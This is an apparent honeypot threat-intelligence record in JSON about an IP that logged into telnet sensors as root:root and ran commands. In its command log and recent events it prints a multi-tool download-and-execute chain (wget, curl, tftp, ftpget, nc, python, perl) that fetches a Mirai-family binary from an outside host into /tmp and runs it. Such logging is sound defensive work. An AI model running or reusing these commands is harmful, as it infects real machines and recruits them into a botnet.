{"ip":"171.253.232.39","data_as_of":"2026-10-27T22:53:16+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"3 interactive session(s) ran commands after logging in","confidence":"high","network_type":"residential ISP","why":["3 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range."],"engagement":{"level":"request","label":"Request traffic","detail":"1,487 bytes sent","bytes_sent":1487,"session_seconds":12,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-26T13:40:54","last_seen":"2026-10-26T13:51:21","events_24h":0,"events_7d":0,"interactive_sessions":3,"interactive_sessions_24h":0,"interactive_sessions_7d":3,"interactive_protocols":[{"protocol":"telnet","sessions":3}],"geo":{"country_code":"VN","country_name":"Vietnam","region":"","city":"","lat":null,"lon":null,"asn":7552,"org":"Viettel Group"},"source_domain":"dynamic-ip-adsl.viettel.vn","known_scanners":[],"scanner_tag":{"key":"peeringdb:as7552","label":"Viettel","category":"isp","url":"https://www.peeringdb.com/asn/7552"},"cve_matches":[],"malware":[{"sha256":"36255615c287a027617380e1a6e1094006fa483e470c89ef9d0615527624b7c3","family":"mirai","vt_name":"x86_64","malicious":27,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":1,"last_seen":"2026-10-26 13:40:54"}],"udp":null,"interaction":{"window_days":90,"sessions":3,"first_seen":"2026-10-26T13:40:54","last_seen":"2026-10-26T13:51:21","verdicts":[{"verdict":"post-exploitation","sessions":3}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":3}],"services":[{"protocol":"telnet","port":23,"sessions":3}],"logins":[{"username":"root","password":"root","password_sent":true,"service":"telnet","outcome":"success","tries":3,"last_seen":"2026-10-26T13:51:17"}],"commands":[{"ts":"2026-10-26T13:51:20","session_id":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/tmp/.x86_64","exit_code":0},{"ts":"2026-10-26T13:51:19","session_id":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"chmod +x /tmp/.x86_64","exit_code":0},{"ts":"2026-10-26T13:51:19","session_id":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /tmp/.x86_64","exit_code":0},{"ts":"2026-10-26T13:51:17","session_id":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"wget -q [http]://180[.]93[.]193[.]100/x86_64 -O /tmp/.x86_64","exit_code":0},{"ts":"2026-10-26T13:51:17","session_id":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-26T13:45:38","session_id":"4be02490-4b51-4fe1-9d59-790b28ef8fe0","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"chmod +x /tmp/.x86_64 && /tmp/.x86_64","exit_code":0},{"ts":"2026-10-26T13:45:38","session_id":"4be02490-4b51-4fe1-9d59-790b28ef8fe0","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls -la /tmp/.x86_64 2>/dev/null","exit_code":0},{"ts":"2026-10-26T13:45:32","session_id":"4be02490-4b51-4fe1-9d59-790b28ef8fe0","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"wget -q [http]://180[.]93[.]193[.]100/x86_64 -O /tmp/.x86_64 || wget --no-check-certificate -q [http]://180[.]93[.]193[.]100/x86_64 -O /tmp/.x86_64 || busybox wget -q [http]://180[.]93[.]193[.]100/x86_64 -O /tmp/.x86_64 || curl -sk [http]://180[.]93[.]193[.]100/x86_64 -o /tmp/.x86_64 || curl --insecure -s [http]://180[.]93[.]193[.]100/x86_64 -o /tmp/.x86_64 || tftp -g -r x86_64 -l /tmp/.x86_64 180[.]93[.]193[.]100 || tftp 180[.]93[.]193[.]100 -c get x86_64 /tmp/.x86_64 || busybox tftp -g -r x86_64 -l /tmp/.x86_64 180[.]93[.]193[.]100 || ftpget -v -u anonymous -p anonymous 180[.]93[.]193[.]100 /tmp/.x86_64 x86_64 || busybox ftpget -u anonymous -p x 180[.]93[.]193[.]100 /tmp/.x86_64 x86_64 || nc 180[.]93[.]193[.]100 80 > /tmp/.x86_64 || busybox nc 180[.]93[.]193[.]100 80 > /tmp/.x86_64 || python -c \"import urllib;urllib.urlretrieve('[http]://180[.]93[.]193[.]100/x86_64','/tmp/.x86_64')\" || python3 -c \"import urllib.request;urllib.request.urlretrieve('[http]://180[.]93[.]193[.]100/x86_64','/tmp/.x86_64')\" || perl -e \"use LWP::Simple;getstore('[http]://180[.]93[.]193[.]100/x86_64','/tmp/.x86_64')\" >/dev/null 2>&1","exit_code":0},{"ts":"2026-10-26T13:45:32","session_id":"4be02490-4b51-4fe1-9d59-790b28ef8fe0","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-26T13:40:54","session_id":"e39c92db-6cc3-4f54-a99c-e35438552da6","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"chmod +x /tmp/.x86_64 && /tmp/.x86_64","exit_code":0},{"ts":"2026-10-26T13:40:54","session_id":"e39c92db-6cc3-4f54-a99c-e35438552da6","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /tmp/.x86_64 2>/dev/null","exit_code":0},{"ts":"2026-10-26T13:40:49","session_id":"e39c92db-6cc3-4f54-a99c-e35438552da6","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"(wget -q [http]://180[.]93[.]193[.]100/x86_64 -O /tmp/.x86_64 || curl -s [http]://180[.]93[.]193[.]100/x86_64 -o /tmp/.x86_64 || busybox wget [http]://180[.]93[.]193[.]100/x86_64 -O /tmp/.x86_64) >/dev/null 2>&1","exit_code":0},{"ts":"2026-10-26T13:40:49","session_id":"e39c92db-6cc3-4f54-a99c-e35438552da6","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0}],"downloads":[{"url":"[http]://180[.]93[.]193[.]100/x86_64","host":"180[.]93[.]193[.]100","sessions":3,"first_seen":"2026-10-26T13:40:54","last_seen":"2026-10-26T13:51:21","virustotal":{"sha256":"36255615c287a027617380e1a6e1094006fa483e470c89ef9d0615527624b7c3","status":"known","malicious":27,"total":75,"name":"x86_64"}}],"files":[{"sha256":"ddcce7af611ec562b2a91f0a5ba4e86aaaefcc29a02c9af28d0a306bd1b5da6e","name":".x86_64","size":36680,"mime_type":"application/x-executable","kind":"sample","times":3,"first_seen":"2026-10-26T13:40:54","last_seen":"2026-10-26T13:51:20","virustotal":null},{"sha256":"cce68a07986f45e9f51a8c11534074a9f6ef3679a1b3a1774ecb5261c85e6cfe","name":".x86_64","size":28,"mime_type":"text/plain","kind":"downloaded","times":3,"first_seen":"2026-10-26T13:40:49","last_seen":"2026-10-26T13:51:17","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":3},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":3},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":3},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":3}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":3}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-26","count":0,"sessions":3}],"recent_events":[{"timestamp":"2026-10-26T13:51:20","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/tmp/.x86_64","payload_hex":"2f746d702f2e7838365f3634","method":"","user_agent":"","ja3":"","session":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"44fd819085e6b0cc","strings":["/tmp/.x86_64"],"iocs":{"paths":["/tmp/.x86_64"]}},"interactive":true},{"timestamp":"2026-10-26T13:51:19","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"chmod +x /tmp/.x86_64","payload_hex":"63686d6f64202b78202f746d702f2e7838365f3634","method":"","user_agent":"","ja3":"","session":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"648a70dec083f8d4","strings":["chmod +x /tmp/.x86_64"],"iocs":{"paths":["/tmp/.x86_64"]}},"interactive":true},{"timestamp":"2026-10-26T13:51:19","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ls /tmp/.x86_64","payload_hex":"6c73202f746d702f2e7838365f3634","method":"","user_agent":"","ja3":"","session":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9e2c2c3d3efeb976","strings":["ls /tmp/.x86_64"],"iocs":{"paths":["/tmp/.x86_64"]}},"interactive":true},{"timestamp":"2026-10-26T13:51:17","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"wget -q http://180.93.193.100/x86_64 -O /tmp/.x86_64","payload_hex":"77676574202d7120687474703a2f2f3138302e39332e3139332e3130302f7838365f3634202d4f202f746d702f2e7838365f3634","method":"","user_agent":"","ja3":"","session":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc7ade423bc2aea7","strings":["wget -q http://180.93.193.100/x86_64 -O /tmp/.x86_64"],"iocs":{"urls":["http://180.93.193.100/x86_64"],"ips":["180.93.193.100"],"paths":["/180.93.193.100/x86_64","/tmp/.x86_64"]}},"interactive":true},{"timestamp":"2026-10-26T13:51:17","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -m","payload_hex":"756e616d65202d6d","method":"","user_agent":"","ja3":"","session":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c7a75171158ee220","strings":["uname -m"]},"interactive":true},{"timestamp":"2026-10-26T13:51:17","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root","payload_hex":"726f6f74","method":"","user_agent":"","ja3":"","session":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc76e9f0c0006e8f","strings":["root"]},"interactive":true},{"timestamp":"2026-10-26T13:51:15","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root","payload_hex":"726f6f74","method":"","user_agent":"","ja3":"","session":"d8453ff9-fae2-4ae9-bc2c-dfeae31fa0e6-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc76e9f0c0006e8f","strings":["root"]},"interactive":true},{"timestamp":"2026-10-26T13:45:38","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"chmod +x /tmp/.x86_64 && /tmp/.x86_64","payload_hex":"63686d6f64202b78202f746d702f2e7838365f3634202626202f746d702f2e7838365f3634","method":"","user_agent":"","ja3":"","session":"4be02490-4b51-4fe1-9d59-790b28ef8fe0-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"1901c71b75e063dd","strings":["chmod +x /tmp/.x86_64 && /tmp/.x86_64"],"iocs":{"paths":["/tmp/.x86_64"]}},"interactive":true},{"timestamp":"2026-10-26T13:45:38","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ls -la /tmp/.x86_64 2>/dev/null","payload_hex":"6c73202d6c61202f746d702f2e7838365f363420323e2f6465762f6e756c6c","method":"","user_agent":"","ja3":"","session":"4be02490-4b51-4fe1-9d59-790b28ef8fe0-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d23e25c1ed8dfcdd","strings":["ls -la /tmp/.x86_64 2>/dev/null"],"iocs":{"paths":["/tmp/.x86_64","/dev/null"]}},"interactive":true},{"timestamp":"2026-10-26T13:45:32","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"wget -q http://180.93.193.100/x86_64 -O /tmp/.x86_64 || wget --no-check-certificate -q http://180.93.193.100/x86_64 -O /tmp/.x86_64 || busybox wget -q http://180.93.193.100/x86_64 -O /tmp/.x86_64 || curl -sk http://180.93.193.100/x86_64 -o /tmp/.x86_64 || curl --insecure -s http://180.93.193.100/x86_64 -o /tmp/.x86_64 || tftp -g -r x86_64 -l /tmp/.x86_64 180.93.193.100 || tftp 180.93.193.100 -c get x86_64 /tmp/.x86_64 || busybox tftp -g -r x86_64 -l /tmp/.x86_64 180.93.193.100 || ftpget -v -u anonymous -p anonymous 180.93.193.100 /tmp/.x86_64 x86_64 || busybox ftpget -u anonymous -p x 180.93.193.100 /tmp/.x86_64 x86_64 || nc 180.93.193.100 80 > /tmp/.x86_64 || busybox nc 180.93.193.100 80 > /tmp/.x86_64 || python -c \"import urllib;urllib.urlretrieve('http://180.93.193.100/x86_64','/tmp/.x86_64')\" || python3 -c \"import urllib.request;urllib.request.urlretrieve('http://180.93.193.100/x86_64','/tmp/.x86_64')\" || perl -e \"use LWP::Simple;getstore('http://180.93.193.100/x86_64','/tmp/.x86_64')\" >/dev/null 2>&1","payload_hex":"77676574202d7120687474703a2f2f3138302e39332e3139332e3130302f7838365f3634202d4f202f746d702f2e7838365f3634207c7c2077676574202d2d6e6f2d636865636b2d6365727469666963617465202d7120687474703a2f2f3138302e39332e3139332e3130302f7838365f3634202d4f202f746d702f2e7838365f3634207c7c2062757379626f782077676574202d7120687474703a2f2f3138302e39332e3139332e3130302f7838365f3634202d4f202f746d702f2e7838365f3634207c7c206375726c202d736b20687474703a2f2f3138302e39332e3139332e3130302f7838365f3634202d6f202f746d702f2e7838365f3634207c7c206375726c202d2d696e736563757265202d7320687474703a2f2f3138302e39332e3139332e3130302f7838365f3634202d6f202f746d702f2e7838365f3634207c7c2074667470202d67202d72207838365f3634202d6c202f746d702f2e7838365f3634203138302e39332e3139332e313030207c7c2074667470203138302e39332e3139332e313030202d6320676574207838365f3634202f746d702f2e7838365f3634207c7c2062757379626f782074667470202d67202d72207838365f3634202d6c202f746d702f2e7838365f3634203138302e39332e3139332e313030207c7c20667470676574202d76202d7520616e6f6e796d6f7573202d7020616e6f6e796d6f7573203138302e39332e3139332e313030202f746d702f2e7838365f3634207838365f3634207c7c2062757379626f7820667470676574202d7520616e6f6e796d6f7573202d702078203138302e39332e3139332e313030202f746d702f2e7838365f3634207838365f3634207c7c206e63203138302e39332e3139332e313030203830203e202f746d702f2e7838365f3634207c7c2062757379626f78206e63203138302e39332e3139332e313030203830203e202f746d702f2e7838365f3634207c7c20707974686f6e202d632022696d706f72742075726c6c69623b75726c6c69622e75726c72657472696576652827687474703a2f2f3138302e39332e3139332e3130302f7838365f3634272c272f746d702f2e7838365f3634272922207c7c20707974686f6e33202d632022696d706f72742075726c6c69622e726571756573743b75726c6c69622e726571756573742e75726c72657472696576652827687474703a2f2f3138302e39332e3139332e3130302f7838365f3634272c272f746d702f2e7838365f3634272922207c7c207065726c202d652022757365204c57503a3a53696d706c653b67657473746f72652827687474703a2f2f3138302e39332e3139332e3130302f7838365f3634272c272f746d702f2e7838365f3634272922203e2f6465762f6e756c6c20323e2631","method":"","user_agent":"","ja3":"","session":"4be02490-4b51-4fe1-9d59-790b28ef8fe0-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ca01fc27ccf3bbd3","strings":["wget -q http://180.93.193.100/x86_64 -O /tmp/.x86_64 || wget --no-check-certific…"],"iocs":{"urls":["http://180.93.193.100/x86_64"],"ips":["180.93.193.100"],"paths":["/180.93.193.100/x86_64","/tmp/.x86_64"]}},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":3},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":3},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":3},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":3}]}